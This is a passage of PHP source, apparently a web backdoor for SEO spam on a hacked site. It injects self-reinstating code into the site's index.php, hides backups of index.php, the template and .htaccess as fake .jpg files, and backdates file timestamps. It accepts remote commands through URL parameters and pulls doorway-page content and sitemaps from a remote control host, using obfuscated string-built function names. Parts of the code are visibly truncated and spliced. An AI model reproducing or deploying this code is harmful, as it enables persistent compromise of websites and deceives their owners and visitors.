$NowPutStrTwo .= '$nmbf1 = '." '$nmbf2';".PHP_EOL;
$NowPutStrTwo .= '$nowIndexFile = '." '$nowIndexFileI';".PHP_EOL;
$NowPutStrTwo .= '$nowLogFile = '." '$nowLogFileI';".PHP_EOL;
$NowPutStrTwo .= '$bkLocalFileIndex2 = '." '".str_replace('../media/','./media/',$bkLocalFileIndex2)."';".PHP_EOL;
$NowPutStrTwo .= '$bkLocalFileHtac2 = '." '".str_replace('../media/','./media/',$bkLocalFileHtac2)."';".PHP_EOL;
$NowPutStrTwo .= '$bkLocalFileMoban2 = '." '".str_replace('../media/','./media/',$bkLocalFileMoban2)."';".PHP_EOL;
$NowPutStrTwo .= '
if($nowHtacFile && file_exists($bkLocalFileHtac2)){
if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac2))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowHtacFile,0755);
@file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac2));
@chmod($nowHtacFile,0755);
}
}
if(file_exists($bkLocalFileIndex2)){
if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex2) && !file_exists($nowLogFile))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowIndexFile,0755);
@file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex2));
@chmod($nowIndexFile,0755);
}
}
if(file_exists($bkLocalFileMoban2)){
if(!file_exists($nmbf1)){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban2));
@chmod($nmbf1,0755);
}else{
if(filesize($nmbf1) != filesize($bkLocalFileMoban2)){
$tpstrMb = file_get_contents($nmbf1);
if(strstr($tpstrMb,"draft_or_post_title") && !strstr($tpstrMb,"")){
$fitime = filemtime($bkLocalFileMoban2);
@chmod($bkLocalFileMoban2,0755);
@file_put_contents($bkLocalFileMoban2,$tpstrMb);
@touch($bkLocalFileMoban2, $fitime, $fitime);
}else{
@chmod($bkLocalFileMoban2,0755);
@file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban2));
@chmod($bkLocalFileMoban2,0755);
}
}
}
}';
$NowPutStrTwo .= PHP_EOL . '//ckIIend'.PHP_EOL;
if(strstr($strckLocalFile2,'//ckIIbg') && strstr($strckLocalFile2,'//ckIIend')){
$rsckII = '#//ckIIbg.*?//ckIIend#si';
$strckLocalFile2 = preg_replace($rsckII,$NowPutStrTwo,$strckLocalFile2);
}else{
if(!$rpRpFind){
$strckLocalFile2 = $strckLocalFile2.PHP_EOL .$NowPutStrTwo;
}else{
$strckLocalFile2 = str_replace($rpRpFind,$NowPutStrTwo.$rpRpFind,$strckLocalFile2);
}
}
file_put_contents($ckLocalFile2,$strckLocalFile2);
@touch($ckLocalFile2, $fitime, $fitime);
}
}else{
$ckLocalFile1 = '../index.php';
if(!is_dir("../images"))
@mkdir("../images",0755);
$bkLocalFileIndex1 = '../images/logo_s.jpg';
$bkLocalFileHtac1 = '../images/head_s.jpg';
$bkLocalFileMoban1 = '../images/banner_s.jpg';
$nmbf1 = './template.html';
$nmbf2 = './'.$nowDirName.'/template.html';
$nowLogFileI = './'.$nowDirName.'/logs.txt';
$nowIndexFile = './index.php';
$nowIndexFileI = './'.$nowDirName.'/index.php';
if(JDT == 1){
$nowHtacFile = './.htaccess';
$nowHtacFileI = './'.$nowDirName.'/.htaccess';
}elseif(JDT == 0){
$nowHtacFile = '../.htaccess';
$nowHtacFileI = './.htaccess';
}else{
$nowHtacFile = '';
$nowHtacFileI = '';
}
$strNowIndex = file_get_contents($nowIndexFile);
$r4 = '#bbbbbbbbackupbg.*?bbbbbbbbackupend#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex); $r4 = '#i{9}bg.*?i{9}end#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex2); $r4 = '#w{6}forbg.*?w{6}forend#si';
$strNowIndex2 = preg_replace($r4, '', $strNowIndex2); $r4 = '#w{6}forbg.*?w{6}forend#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex2);
$strNowIndex = $strNowIndex2;
$strNowMoban = file_get_contents($nmbf1);
$strNowHtac = file_get_contents($nowHtacFile);
if(file_exists($ckLocalFile1)){
$strCkLocalFile1 = file_get_contents($ckLocalFile1);
@chmod($ckLocalFile1,0755);
file_put_contents($bkLocalFileIndex1,$strNowIndex);
file_put_contents($bkLocalFileMoban1,$strNowMoban);
file_put_contents($bkLocalFileHtac1,$strNowHtac);
@touch($bkLocalFileIndex1, $fitime, $fitime);
@touch($bkLocalFileMoban1, $fitime, $fitime);
@touch($bkLocalFileHtac1, $fitime, $fitime);
$NowPutStrI = PHP_EOL . '//ck1bg'.PHP_EOL;
$NowPutStrI .= '$nowFileDir = '." '$nowDirName';".PHP_EOL;
$NowPutStrI .= '$nowHtacFile = '." '$nowHtacFileI';".PHP_EOL;
$NowPutStrI .= '$nmbf1 = '." '$nmbf2';".PHP_EOL;
$NowPutStrI .= '$nowIndexFile = '." '$nowIndexFileI';".PHP_EOL;
$NowPutStrI .= '$nowLogFile = '." '$nowLogFileI';".PHP_EOL;
$NowPutStrI .= '$bkLocalFileIndex1 = '." '".str_replace('../images/','./images/',$bkLocalFileIndex1)."';".PHP_EOL;
$NowPutStrI .= '$bkLocalFileHtac1 = '." '".str_replace('../images/','./images/',$bkLocalFileHtac1)."';".PHP_EOL;
$NowPutStrI .= '$bkLocalFileMoban1 = '." '".str_replace('../images/','./images/',$bkLocalFileMoban1)."';".PHP_EOL;
$NowPutStrI .= '
if($nowHtacFile && file_exists($bkLocalFileHtac1)){
if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac1))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowHtacFile,0755);
@file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac1));
@chmod($nowHtacFile,0755);
}
}
if(file_exists($bkLocalFileIndex1)){
if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex1) && !file_exists($nowLogFile))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowIndexFile,0755);
@file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex1));
@chmod($nowIndexFile,0755);
}
}
if(file_exists($bkLocalFileMoban1)){
if(!file_exists($nmbf1)){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1));
@chmod($nmbf1,0755);
}else{
if(filesize($nmbf1) != filesize($bkLocalFileMoban1)){
$tpstrMb = file_get_contents($nmbf1);
if(strstr($tpstrMb,"draft_or_post_title") && !strstr($tpstrMb,"")){
$fitime = filemtime($bkLocalFileMoban1);
@chmod($bkLocalFileMoban1,0755);
@file_put_contents($bkLocalFileMoban1,$tpstrMb);
@touch($bkLocalFileMoban1, $fitime, $fitime);
}else{
@chmod($bkLocalFileMoban1,0755);
@file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1));
@chmod($bkLocalFileMoban1,0755);
}
}
}
}';
$NowPutStrI .= PHP_EOL . '//ck1end'.PHP_EOL;
if(strstr($strCkLocalFile1,'//ck1bg') && strstr($strCkLocalFile1,'//ck1end')){
$rsck1 = '#//ck1bg.*?//ck1end#si';
$strCkLocalFile1 = preg_replace($rsck1,$NowPutStrI,$strCkLocalFile1);
}else{
$strCkLocalFile1 = preg_replace('#<\?(php)?#i', '<'.'?\1'. PHP_EOL .$NowPutStrI. PHP_EOL , $strCkLocalFile1, 1);
}
file_put_contents($ckLocalFile1,$strCkLocalFile1);
@touch($ckLocalFile1, $fitime, $fitime);
}
}
save_install($dateArr);
echo '
rset ok!
';
echo 'please open this url: '.GETDOM .'gfile.php?site='.$thisdom;
echo "
";
$staus = backup_install($dateArr,2);
if($staus != '#ok#'){
$staus = backup_install_two($dateArr,1);
}
if($staus == '#ok#'){
echo '
backup ok!
';
}else{
echo '
backup fail!
';
}
}
if(isset($_GET["ljshu"]) && $_GET["ljshu"]){
$strDefault = file_get_contents(__FILE__);
$strDefault = str_replace('define("LINKNUM","18");', 'define("LINKNUM","'.$_GET["ljshu"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "
ljshu (".$_GET["ljshu"].") ok!
";}
if(isset($_GET["houzui"]) && $_GET["houzui"]){
$strDefault = file_get_contents(__FILE__);
$rII='#(/{2}jthouzuibg)(.*?)(/{2}jthouzuiend)#s';
$strDefault = preg_replace($rII, '\1'. PHP_EOL . 'define("JTHZ","'.trim($_GET["houzui"]).'");' . PHP_EOL .'\3', $strDefault);
file_put_contents(__FILE__,$strDefault);
echo "
houzui (".$_GET["houzui"].") ok!
";
exit;
}
if(isset($_GET["moshi"])){
if($_GET["moshi"] != 0 && $_GET["moshi"] != 1 && $_GET["moshi"] != 2 && $_GET["moshi"] != 3){
echo "
set fails, moshi value must be 0,1,2 or 3 !
"; die(); }
if($_GET["moshi"] == 2 || $_GET["moshi"] == 3){
@unlink(".htaccess"); }
$strDefault = file_get_contents(__FILE__);
$r3='#(/{2}msbg)(.*?)(/{2}msend)#s';
$rp2 = 'define("JDT","'.$_GET["moshi"].'");'; $strDefault=preg_replace($r3,'\1'.PHP_EOL.$rp2.PHP_EOL.'\3',$strDefault);
$strDefault = str_replace('define("JDT","0");', 'define("JDT","'.$_GET["moshi"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "
moshi (".$_GET["moshi"].") ok!
";}
if(isset($_GET["delmyself"]) && $_GET["delmyself"]==1){
$str = file_get_contents(__FILE__); $r4 = '#bbbbbbbbackupbg.*?bbbbbbbbackupend#si'; $str2 = preg_replace($r4, '', $str); $r4 = '#i{9}bg.*?i{9}end#si'; $str2 = preg_replace($r4, '', $str2); $r4 = '#w{6}forbg.*?w{6}forend#si';
$str2 = preg_replace($r4, '', $str2); $r4 = '#w{6}forbg.*?w{6}forend#si'; $str2 = preg_replace($r4, '', $str2);
file_put_contents(__FILE__,$str2);
@unlink("../logs.txt");
echo 'ok';
die();
}
if(isset($_POST["delmyself"]) && $_POST["delmyself"]==1){
$str = file_get_contents(__FILE__); $r4 = '#bbbbbbbbackupbg.*?bbbbbbbbackupend#si'; $str2 = preg_replace($r4, '', $str); $r4 = '#i{9}bg.*?i{9}end#si'; $str2 = preg_replace($r4, '', $str2); $r4 = '#w{6}forbg.*?w{6}forend#si';
$str2 = preg_replace($r4, '', $str2); $r4 = '#w{6}forbg.*?w{6}forend#si'; $str2 = preg_replace($r4, '', $str2);
file_put_contents(__FILE__,$str2);
@unlink("../logs.txt");
echo 'ok';
die();
}
// iiiiiiiiiend
$arrArrr = array();$j = 0;for($i=0;$i<20;$i+=2){
$arrArrr[$j++] = $strRand{$i}.$strRand{$i+1};}
$Arrrarr = array_flip($arrArrr);
$temp_abc = $O00O0O{15}.$O00O0O{18}.$O00O0O{14}.$O00O0O{19}.$O00O0O{20}.$O00O0O{3}.$O00O0O{4}.$O00O0O{21};
$temp_def = $O00O0O{13}.$O00O0O{0}.$O00O0O{18}.$O00O0O{20}.$O00O0O{3}.$O00O0O{8}.$O00O0O{14}.$O00O0O{0};
if(isset($_GET["gsitemap"]) && isset($_GET["mapnum"])){
$O_OO0_0O_0='America/Chicago'; @date_default_timezone_set($O_OO0_0O_0);
if (! is_dir("../maps"))
mkdir("../maps", 0755);
global $gnumber;
$gnumber = 1;
$bgNum = (int)trim($_GET["gsitemap"]);
$mapnum = (int)trim($_GET["mapnum"]);
if($bgNum > FNUM)
die("The Number Must Lower Then " . FNUM);
$arrNumTemp = getMapNum($bgNum,$mapnum);
$rs = '##si';
$mapLogs = file_get_contents("./map.log");
foreach($arrNumTemp as $vss){
$vals = "id$vss.php";
if(JDT == 0 && $gnumber == 1){
if(strstr($mapLogs,'site_map.xml') && file_exists('../maps/sitemap.xml')){
echo $vals."
";
echo '../maps/sitemap.xml successed
';
$gnumber++;
continue;
}
}elseif(JDT == 0){
if(strstr($mapLogs,'#' . $arrABC[$gnumber-2] . 'htmlmaps' .'.xml#') && file_exists('../maps/' . $arrABC[$gnumber-2] . 'htmlmaps' .'.xml')){
echo $vals."
";
echo '../maps/' . $arrABC[$gnumber-2] . 'htmlmaps' .'.xml successed
';
$gnumber++;
continue;
}
}
if(strstr($mapLogs,'#' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml#') && file_exists('../maps/' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml')){
echo $vals."
";
echo '../maps/' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml successed
';
$gnumber++;
continue;
}
for($i=0; $i<3; $i++){
$idUrl = GETDOM . "gpage.php?getmapid=$vss&site=$thisdom&sid=".MSID;
$tempIdStr = curl_get_from_webpage($idUrl,'',5);
$arrIdNameNow = array();
if(preg_match($rs,$tempIdStr,$matchIdName)){
$tparrIdName = explode('^^',$matchIdName[1]);
foreach($tparrIdName as $vs){
$tpArr = explode('^',$vs);
if(count($tpArr) == 2){
$arrIdNameNow[$tpArr[0]] = $tpArr[1];
}elseif(count($tpArr) > 2){
$tpstr = '';
for($j=1; $j
";
if($gnumber == 1){
if(JDT == 1){
gsitemap($arrIdNameNow,2,1);
}else{
gsitemap($arrIdNameNow,1,2);
}
}else{
if(JDT == 1){
gsitemap2($arrIdNameNow,2,1); }else{
gsitemap2($arrIdNameNow,1,2); }
}
unset($arrIdNameNow,$tempArr1,$tempArr2); }
}
if(isset($_GET["ghtac"]) && $_GET["ghtac"]){
$dirNames = dirname(__FILE__);
$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
$PreDir = '';
if(JDT == 1){
$UrlBaseDir = $httcReplace; $RewriteOnDir = '';
}else{
$UrlBaseDir = ''; $PreDir = '../'; $RewriteOnDir = $httcReplace . '/';
}
$strhtt = '';
if (file_exists("$PreDir.htaccess")){
@chmod("$PreDir.htaccess",0755);
$strhtt = file_get_contents("$PreDir.htaccess");
}
if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule')))
{
$strhtt = '
'.$InFoStrArr['pdes']."
".PHP_EOL; } if(isset($InFoStrArr['nowPimgArrYs'])){ $tpImgArr = unserialize($InFoStrArr['nowPimgArrYs']); foreach($tpImgArr as $tpimg){ $addStrII .= $tpimg."'; $tpaddstr .= '###nowtitles###,'; $tpaddstr .= $createTitleI .','; $tpaddstr .= $pdescription.' '; $tpaddstr .= $createTitleII .'.
'; if(isset($InFoStrArr['nowPimgArr'])){ $tpImgArr = unserialize($InFoStrArr['nowPimgArr']); foreach($tpImgArr as $tpimg){ $tpaddstr .= $tpimg."'.$addStrDes1.'
'.PHP_EOL; } $addPdesStrII .= $addStrDes1.PHP_EOL; $addPdesStr = ''; $addStrDesII = ''; if(isset($InFoStrArr['fpNameStr'])){ $randAddName = (KEYJG + $id23) % 2 == 0 ? 3 : 2 ; $tpDesNameArr = unserialize($InFoStrArr['fpNameStr']); $tempArrLen = count($tpDesNameArr) - 1; $temp_arr = array(); foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){ if(strstr($tpdesVs,'#cat#')){ $tp_name_arr = explode('#cat#',$tpdesVs); $tpdesVs = $tp_name_arr[1]; } $temp_arr[$tpdesKey] = $tpdesVs; } $tpDesNameArr = $temp_arr; $lenthNameArr = count($tpDesNameArr); $lenthFlinkArr = $randAddName; $numShan = intval($lenthNameArr/$lenthFlinkArr); if($numShan < 1) $numShan = 1; $flag = 0; $shengyu = $lenthNameArr - $lenthFlinkArr * $numShan; $shengyu = $shengyu - 2; $bgnum = 0; $endnum = $lenthNameArr - 1; $arrKeyNum = array(); while($shengyu > 0){ $arrKeyNum[$bgnum++] = $numShan + 1; $shengyu--; if($shengyu > 0){ $arrKeyNum[$endnum--] = $numShan + 1; } $shengyu--; } $nowTempFlag = 0; $nowTempNumFlag = 0; $tempDesNameArr = array(); foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){ $nowLens = isset($arrKeyNum[$nowTempFlag]) ? $arrKeyNum[$nowTempFlag] : $numShan; if($nowTempNumFlag < $nowLens){ $tempDesNameArr[] = $tpdesVs; $nowTempNumFlag++; }else{ // $tempDesNameArr[] = "{$Ptitle}"; $nowTempFlag++; $tempDesNameArr[] = $tpdesVs; $nowTempNumFlag=1; } } while($nowTempFlag <= $lenthFlinkArr-1){ $nowTempFlag++; // $tempDesNameArr[] = "{$Ptitle}"; } $tpDesNameArr = $tempDesNameArr; $i=0; foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){ $tempLen = strlen($tpdesVs) + $i; if($tempLen % 2 == 1){ $nowtempfh = ', '; }else $nowtempfh = '. '; if($i == $tempArrLen){ $addStrDesII .= $tpdesVs . '.'; }else{ $addStrDesII .= $tpdesVs . $nowtempfh; } $i++; } $addStrDesII = ''.$addStrDesII.'
'.PHP_EOL; } $addPdesStr .= "